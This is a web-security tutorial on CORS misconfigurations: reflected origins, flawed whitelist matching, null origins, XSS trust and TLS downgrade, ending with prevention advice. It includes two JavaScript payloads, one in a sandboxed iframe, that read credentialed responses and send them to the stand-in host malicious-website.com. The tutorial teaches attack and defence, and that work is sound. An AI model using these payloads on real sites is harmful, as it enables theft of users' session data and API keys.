In this section, we will explain what Cross-Origin Resource Sharing (CORS) is, describe some common examples of attacks based on Cross-Origin Resource Sharing, and discuss how to protect against these attacks.
Requirements:
- Domain – A domain to perform the tests
- Programming – Very high level of programming knowledge
Responsibility:
In this tutorial, we will use hacking techniques for educational purposes only. We do not promote their use for profit or improper purposes. We are not responsible for any damage or harm that may be caused to the systems used. The user of this tutorial is solely responsible.
Knowledge:
- Linux – High
- Programming – Very High
- Kali Linux – Not applicable
- Windows – Not applicable
- Networking – High
Overall Tutorial Level: Very High
Ideal for: Programmers, Code Security Analysts
What is CORS (cross-origin resource sharing)?
Cross-origin resource sharing (CORS) is a browser mechanism that allows controlled access to resources located outside a given domain. It extends and adds flexibility to the same-origin policy (SOP). However, it also opens up the possibility of cross-domain attacks if a website’s CORS policy is poorly configured and implemented. CORS is not a protection against cross-origin attacks, such as cross-site request forgery (CSRF).
Same-origin policy
The same-origin policy is a restrictive cross-origin specification that limits a website’s ability to interact with resources outside the origin domain. The same-origin policy was defined many years ago in response to potentially malicious cross-domain interactions, such as the theft of private data from one website to another. In general, it allows a domain to issue requests to other domains, but not to access the responses.
Relaxation of the same-origin policy
The same-origin policy is very restrictive, and as a result, several approaches have been devised to circumvent the limitations. Many websites interact with subdomains or third-party sites in ways that require full cross-origin access. A controlled relaxation of the same-origin policy is possible through cross-origin resource sharing (CORS).
The cross-origin resource sharing protocol uses a set of HTTP headers that define trusted web origins and associated properties, such as whether authenticated access is allowed. These properties are combined in a header exchange between a browser and the cross-origin website being accessed.
Vulnerabilities arising from CORS configuration issues
Many modern websites use CORS to allow access from trusted subdomains and third parties. Their implementation of CORS may contain errors or be too lenient to ensure that everything works, and this can lead to exploitable vulnerabilities.
Server-generated ACAO header from client-specified Origin header
Some applications need to provide access to other domains. Maintaining a list of allowed domains requires ongoing effort, and any error can break functionality. So some applications take the easy route of effectively allowing access from any other domain.
One way to do this is to read the Origin header from requests and include a response header indicating that the requesting origin is allowed. For example, consider an application that receives the following request:
GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=...
Then respond with:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true ...
These headers indicate that access is allowed from the requesting domain (malicious-website.com) and that cross-domain requests can include cookies (Access-Control-Allow-Credentials: true) and will therefore be processed in session.
Since the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access the resources of the vulnerable domain. If the response contains any sensitive information, such as an API key or CSRF token, you could retrieve it by placing the following script on your website:
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='//malicious-website.com/log?key='+this.responseText; };
Errors parsing Origin headers
Some applications that support access from multiple origins do so using a whitelist of allowed origins. When a CORS request is received, the supplied origin is compared to the whitelist. If the origin appears on the whitelist, it is reflected in the Access-Control-Allow-Origin header, so access is granted. For example, the application receives a normal request such as:
GET /data HTTP/1.1 Host: normal-website.com ... Origin: https://innocent-website.com
The application checks the supplied origin against its list of allowed origins, and if it is on the list, it reflects the origin as follows:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://innocent-website.com
Errors often arise when implementing CORS origin whitelists. Some organizations decide to allow access from all their subdomains (including future subdomains that do not yet exist). And some applications allow access from multiple domains belonging to other organizations, including their subdomains. These rules are often implemented by comparing URL prefixes or suffixes, or by using regular expressions. Any error in implementation can result in access being granted to unwanted external domains.
For example, suppose an application grants access to all domains ending in:
normal-website.com
An attacker could gain access by registering the domain:
hackersnormal-website.com
Alternatively, suppose an application grants access to all domains that start with
normal-website.com
An attacker might be able to gain access using the domain:
normal-website.com.evil-user.net
Whitelisted null origin value
The Origin header specification supports the null value. Browsers may send the null value in the Origin header in several unusual situations:
- Cross-site redirects.
- Requests for serialized data.
- Requests using the file: protocol.
- Cross-origin requests in an isolated environment.
Some applications may whitelist the null origin to support local application development. For example, suppose an application receives the following cross-domain request:
GET /sensitive-victim-data Host: vulnerable-website.com Origin: null
And the server responds with:
HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
In this situation, an attacker can use various tricks to generate a cross-domain request containing the null value in the Origin header. This will satisfy the whitelist, resulting in cross-domain access. For example, this can be done using a sandboxed iframe cross-origin request in the form:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; </script>"></iframe>
Exploiting XSS via CORS trust relationships
Even a “correctly” configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.
Given the following request:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=...
If the server responds with:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
So, an attacker who finds an XSS vulnerability on subdomain.vulnerable-website.com could use it to retrieve the API key, using a URL such as:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
Breaking TLS with poorly configured CORS
Suppose that an application that strictly uses HTTPS also includes a trusted subdomain that uses plain HTTP in its whitelist. For example, when the application receives the following request:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=...
The application responds with:
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
In this situation, an attacker who is in a position to intercept a victim user’s traffic can exploit the CORS configuration to compromise the victim’s interaction with the application. This attack involves the following steps:
- The victim user makes any simple HTTP request.
- The attacker injects a redirect to: http://trusted-subdomain.vulnerable-website.com
- The victim’s browser follows the redirect.
- The attacker intercepts the simple HTTP request and returns a fake response containing a CORS request to: https://vulnerable-website.com
- The victim’s browser makes the CORS request, including the origin: http://trusted-subdomain.vulnerable-website.com
- The application allows the request because it is a whitelisted origin. The requested sensitive data is returned in the response.
- The attacker’s fake page can read the sensitive data and transmit it to any domain under their control.
This attack is effective even if the vulnerable website is robust in its use of HTTPS, with no HTTP endpoints and all cookies marked as secure.
How to prevent CORS-based attacks
CORS vulnerabilities arise primarily as configuration errors. Therefore, prevention is a configuration issue. The following sections describe some effective defenses against CORS attacks.
Proper configuration of cross-domain requests
If a web resource contains sensitive information, the origin must be properly specified in the Access-Control-Allow-Origin header.
Allow only trusted sites
It may seem obvious, but the origins specified in the Access-Control-Allow-Origin header should only be trusted sites. In particular, dynamically mirroring the origins of cross-domain requests without validation is easily exploitable and should be avoided.
Avoid null whitelists
Avoid using the Access-Control-Allow-Origin: null header. Cross-domain resource calls from internal documents and sandboxing requests may specify the null origin. CORS headers should be properly defined with respect to trusted origins for both private and public servers.
Avoid wildcards in internal networks
Avoid using wildcards in internal networks. Relying solely on network configuration to protect internal resources is not sufficient when internal browsers can access untrusted external domains.
CORS is not a substitute for server-side security policies
CORS defines browser behaviors and never replaces server-side protection of sensitive data: an attacker can directly forge a request from any trusted origin. Therefore, web servers must continue to apply protections on sensitive data, such as authentication and session management, in addition to a properly configured CORS.
I hope you like the content and find it helpful.